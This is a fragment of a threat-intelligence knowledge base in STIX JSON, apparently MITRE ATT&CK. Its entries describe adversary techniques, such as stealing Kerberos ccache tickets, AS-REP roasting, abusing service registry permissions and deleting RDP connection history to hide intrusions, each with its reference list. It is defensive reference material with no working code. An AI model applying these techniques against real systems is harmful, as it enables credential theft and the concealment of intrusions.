                    "description": "Abramovsky, O. (2023, May 16). VSCode Security: Malicious Extensions Detected- More Than 45,000 Downloads- PII Exposed, and Backdoors Enabled. Retrieved March 30, 2025.",
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                    "source_name": "xorrior chrome extensions macOS",
                    "description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.",
                    "url": "https://www.xorrior.com/No-Place-Like-Chrome/"
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                    "source_name": "Chrome Extension C2 Malware",
                    "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024.",
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                    "source_name": "Arbor SSLDoS April 2012",
                    "description": "ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019.",
                    "url": "https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new"
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                    "source_name": "Cisco DoSdetectNetflow",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
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                    "source_name": "Cloudflare HTTPflood",
                    "description": "Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019.",
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                    "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.",
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                    "source_name": "macOS Foundation",
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                    "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.",
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                    "description": "Feichter, D. (2023, June 30). Direct Syscalls vs Indirect Syscalls. Retrieved September 27, 2023.",
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                    "description": "Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.",
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                    "description": "Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021.",
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                    "source_name": "LIBC",
                    "description": "Kerrisk, M. (2016, December 12). libc(7) \u2014 Linux manual page. Retrieved June 25, 2020.",
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                    "source_name": "Linux Kernel API",
                    "description": "Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.",
                    "url": "https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html"
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                    "source_name": "MDSec System Calls",
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                    "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"
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                    "source_name": "Microsoft CreateProcess",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"
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                    "source_name": "Microsoft Win32",
                    "description": "Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/api/"
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                    "source_name": "Microsoft NET",
                    "description": "Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.",
                    "url": "https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework"
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                    "source_name": "NT API Windows",
                    "description": "The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.",
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            "description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1685).",
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                    "source_name": "Binary Defense Kerberos Linux",
                    "description": " ARC Labs, Dwyer, John. Gonzalez, Eric. Hudak, Tyler. (2024, October 1). Shining a Light in the Dark \u2013 How Binary Defense Uncovered an APT Lurking in Shadows of IT. Retrieved October 7, 2024.",
                    "url": "https://www.binarydefense.com/resources/blog/shining-a-light-in-the-dark-how-binary-defense-uncovered-an-apt-lurking-in-shadows-of-it/"
                },
                {
                    "source_name": "Kerberos GNU/Linux",
                    "description": "Adepts of 0xCC. (2021, January 28). The Kerberos Credential Thievery Compendium (GNU/Linux). Retrieved September 17, 2024.",
                    "url": "https://adepts.of0x.cc/kerberos-thievery-linux/"
                },
                {
                    "source_name": "Kekeo",
                    "description": "Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021.",
                    "url": "https://github.com/gentilkiwi/kekeo"
                },
                {
                    "source_name": "SpectorOps Bifrost Kerberos macOS 2019",
                    "description": "Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021.",
                    "url": "https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f"
                },
                {
                    "source_name": "Brining MimiKatz to Unix",
                    "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
                    "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
                },
                {
                    "source_name": "Linux Kerberos Tickets",
                    "description": "Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021.",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html"
                }
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            "modified": "2025-04-15T21:56:03.788Z",
            "name": "Ccache Files",
            "description": "\nAdversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials. \n\nThe <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable are used to set the storage location for ccache entries. On Linux, credentials are typically stored in the `/tmp` directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS, ccache entries are stored by default in memory with an `API:{uuid}` naming scheme. Typically, users interact with ticket storage using <code>kinit</code>, which obtains a Ticket-Granting-Ticket (TGT) for the principal; <code>klist</code>, which lists obtained tickets currently held in the credentials cache; and other built-in binaries.(Citation: Kerberos GNU/Linux)(Citation: Binary Defense Kerberos Linux)\n\nAdversaries can collect tickets from ccache files stored on disk and authenticate as the current user without their password to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks. Adversaries can also use these tickets to impersonate legitimate users with elevated privileges to perform [Privilege Escalation](https://attack.mitre.org/tactics/TA0004). Tools like Kekeo can also be used by adversaries to convert ccache files to Windows format for further [Lateral Movement](https://attack.mitre.org/tactics/TA0008). On macOS, adversaries may use open-source tools or the Kerberos framework to interact with ccache files and extract TGTs or Service Tickets via lower-level APIs.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo) ",
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                    "phase_name": "credential-access"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc",
            "created": "2022-06-15T18:00:04.219Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1070/007",
                    "external_id": "T1070.007"
                },
                {
                    "source_name": "FreeDesktop Journal",
                    "description": "freedesktop.org. (n.d.). systemd-journald.service. Retrieved June 15, 2022.",
                    "url": "https://www.freedesktop.org/software/systemd/man/systemd-journald.service.html"
                },
                {
                    "source_name": "Microsoft RDP Removal",
                    "description": "Microsoft. (2021, September 24). How to remove entries from the Remote Desktop Connection Computer box. Retrieved June 15, 2022.",
                    "url": "https://docs.microsoft.com/troubleshoot/windows-server/remote/remove-entries-from-remote-desktop-connection-computer"
                },
                {
                    "source_name": "Moran RDPieces",
                    "description": "Moran, B. (2020, November 18). Putting Together the RDPieces. Retrieved October 17, 2022.",
                    "url": "https://www.osdfcon.org/presentations/2020/Brian-Moran_Putting-Together-the-RDPieces.pdf"
                },
                {
                    "source_name": "Apple Culprit Access",
                    "description": "rjben. (2012, May 30). How do you find the culprit when unauthorized access to a computer is a problem?. Retrieved August 3, 2022.",
                    "url": "https://discussions.apple.com/thread/3991574"
                },
                {
                    "source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing",
                    "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.",
                    "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"
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            "description": "Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\n\nNetwork connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers</code>\n\nWindows may also store information about recent RDP connections in files such as <code>C:\\Users\\\\%username%\\Documents\\Default.rdp</code> and `C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Terminal\nServer Client\\Cache\\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1686) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.",
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            "type": "attack-pattern",
            "id": "attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b",
            "created": "2020-08-24T13:43:00.028Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1558/004",
                    "external_id": "T1558.004"
                },
                {
                    "source_name": "Microsoft Detecting Kerberoasting Feb 2018",
                    "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
                    "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"
                },
                {
                    "source_name": "Harmj0y Roasting AS-REPs Jan 2017",
                    "description": "HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved September 23, 2024.",
                    "url": "https://blog.harmj0y.net/activedirectory/roasting-as-reps/"
                },
                {
                    "source_name": "Stealthbits Cracking AS-REP Roasting Jun 2019",
                    "description": "Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020.",
                    "url": "https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/"
                },
                {
                    "source_name": "SANS Attacking Kerberos Nov 2014",
                    "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
                    "url": "https://redsiege.com/kerberoast-slides"
                },
                {
                    "source_name": "AdSecurity Cracking Kerberos Dec 2015",
                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
                    "url": "https://adsecurity.org/?p=2293"
                },
                {
                    "source_name": "Microsoft 4768 TGT 2017",
                    "description": "Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768"
                },
                {
                    "source_name": "Microsoft Kerberos Preauth 2014",
                    "description": "Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020.",
                    "url": "https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx"
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            "modified": "2025-10-24T17:48:39.884Z",
            "name": "AS-REP Roasting",
            "description": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",
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                    "phase_name": "credential-access"
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            "x_mitre_contributors": [
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                "James Dunn, @jamdunnDFW, EY",
                "Swapnil Kumbhar",
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            "id": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427",
            "created": "2017-05-31T21:30:49.119Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1058",
                    "external_id": "T1058"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/478.html",
                    "external_id": "CAPEC-478"
                },
                {
                    "source_name": "MSDN Registry Key Security",
                    "description": "Microsoft. (n.d.). Registry Key Security and Access Rights. Retrieved March 16, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx"
                },
                {
                    "source_name": "TrustedSignal Service Failure",
                    "description": "Hull, D. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019.",
                    "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html"
                },
                {
                    "source_name": "Twitter Service Recovery Nov 2017",
                    "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.",
                    "url": "https://twitter.com/r0wdy_/status/936365549553991680"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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            "name": "Service Registry Permissions Weakness",
            "description": "Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)",
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            "id": "attack-pattern--39cc9f64-cf74-4a48-a4d8-fe98c54a02e0",
            "created": "2020-10-01T00:55:17.771Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1584/003",
                    "external_id": "T1584.003"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "NSA NCSC Turla OilRig",
                    "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.",
                    "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
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            "description": "Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)\n\nCompromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.",
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            "created": "2024-03-29T18:07:04.743Z",
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                    "url": "https://attack.mitre.org/techniques/T1059/010",
                    "external_id": "T1059.010"
                },
                {
                    "source_name": "AutoHotKey",
                    "description": "AutoHotkey Foundation LLC. (n.d.). Using the Program. Retrieved March 29, 2024.",
                    "url": "https://www.autohotkey.com/docs/v1/Program.htm"
                },
                {
                    "source_name": "AutoIT",
                    "description": "AutoIT. (n.d.). Running Scripts. Retrieved March 29, 2024.",
                    "url": "https://www.autoitscript.com/autoit3/docs/intro/running.htm"
                },
                {
                    "source_name": "Splunk DarkGate",
                    "description": "Splunk Threat Research Team. (2024, January 17). Enter The Gates: An Analysis of the DarkGate AutoIt Loader. Retrieved March 29, 2024.",
                    "url": "https://www.splunk.com/en_us/blog/security/enter-the-gates-an-analysis-of-the-darkgate-autoit-loader.html"
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            "modified": "2025-04-15T19:58:23.600Z",
            "name": "AutoHotKey & AutoIT",
            "description": "Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.(Citation: AutoIT)(Citation: AutoHotKey)\n\nAdversaries may use AHK (`.ahk`) and AutoIT (`.au3`) scripts to execute malicious code on a victim's system. For example, adversaries have used for AHK to execute payloads and other modular malware such as keyloggers. Adversaries have also used custom AHK files containing embedded malware as [Phishing](https://attack.mitre.org/techniques/T1566) payloads.(Citation: Splunk DarkGate)\n\nThese scripts may also be compiled into self-contained executable payloads (`.exe`).(Citation: AutoIT)(Citation: AutoHotKey)",
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            "id": "attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8",
            "created": "2020-10-19T19:03:48.310Z",
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                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
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                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
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            "description": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)",
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                    "source_name": "Broadcom ESXi Shell Audit",
                    "description": "Broadcom. (2025, February 20). Auditing ESXi Shell logins and commands. Retrieved March 26, 2025.",
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                {
                    "source_name": "Sophos PowerShell command audit",
                    "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.",
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                {
                    "source_name": "Microsoft PowerShell Command History",
                    "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7"
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                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
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                {
                    "source_name": "Sophos PowerShell Command History Forensics",
                    "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved November 17, 2024.",
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                    "source_name": "Bleeping Computer - Scriptrunner.exe",
                    "description": "Bill Toulas. (2023, January 4). Hackers abuse Windows error reporting tool to deploy malware. Retrieved July 8, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/hackers-abuse-windows-error-reporting-tool-to-deploy-malware/"
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                {
                    "source_name": "Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot",
                    "description": "Cyble. (2024, December 5). Threat Actor Targets the Manufacturing industry with Lumma Stealer and Amadey Bot. Retrieved February 4, 2025.",
                    "url": "https://cyble.com/blog/threat-actor-targets-manufacturing-industry-with-malware/"
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                    "source_name": "Evi1cg Forfiles Nov 2017",
                    "description": "Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved September 12, 2024.",
                    "url": "https://x.com/Evi1cg/status/935027922397573120"
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                {
                    "source_name": "Secure Team - Scriptrunner.exe",
                    "description": "Secure Team - Information Assurance. (2023, January 8). Windows Error Reporting Tool Abused to Load Malware. Retrieved July 8, 2024.",
                    "url": "https://secureteam.co.uk/2023/01/08/windows-error-reporting-tool-abused-to-load-malware/"
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                {
                    "source_name": "SS64",
                    "description": "SS64. (n.d.). ScriptRunner.exe. Retrieved July 8, 2024.",
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                    "source_name": "VectorSec ForFiles Aug 2017",
                    "description": "vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved September 12, 2024.",
                    "url": "https://x.com/vector_sec/status/896049052642533376"
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            "name": "Indirect Command Execution",
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            "created": "2017-05-31T21:30:31.197Z",
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                    "url": "https://attack.mitre.org/techniques/T1024",
                    "external_id": "T1024"
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                {
                    "source_name": "F-Secure Cosmicduke",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "url": "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf"
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                {
                    "source_name": "Fidelis DarkComet",
                    "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf"
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                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "name": "Custom Cryptographic Protocol",
            "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)",
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                {
                    "source_name": "Tech Republic - Restore AWS Snapshots",
                    "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.",
                    "url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/"
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                    "source_name": "Google - Restore Cloud Snapshot",
                    "description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019.",
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            "name": "Revert Cloud Instance",
            "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)",
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                {
                    "source_name": "Windows Malware Infecting Android",
                    "description": "Lucian Constantin. (2014, January 23). Windows malware tries to infect Android devices connected to PCs. Retrieved May 25, 2022.",
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                {
                    "source_name": "iPhone Charging Cable Hack",
                    "description": "Zack Whittaker. (2019, August 12). This hacker\u2019s iPhone charging cable can hijack your computer. Retrieved May 25, 2022.",
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                {
                    "source_name": "Exploiting Smartphone USB ",
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                    "external_id": "T1005"
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                    "source_name": "show_run_config_cmd_cisco",
                    "description": "Cisco. (2022, August 16). show running-config - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_protocols_through_showmon.html#wp2760878733"
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                    "description": "Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.",
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                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
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            "modified": "2026-05-12T15:12:00.628Z",
            "name": "Data from Local System",
            "description": "Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration.\n\nAdversaries may do this using a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106) as well as a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008), which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.\n",
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                    "phase_name": "collection"
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            "x_mitre_contributors": [
                "William Cain",
                "Austin Clark, @c2defense",
                "Liran Ravich, CardinalOps"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "ESXi",
                "Linux",
                "macOS",
                "Network Devices",
                "Windows"
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            "x_mitre_version": "1.8"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "created": "2017-12-14T16:46:06.044Z",
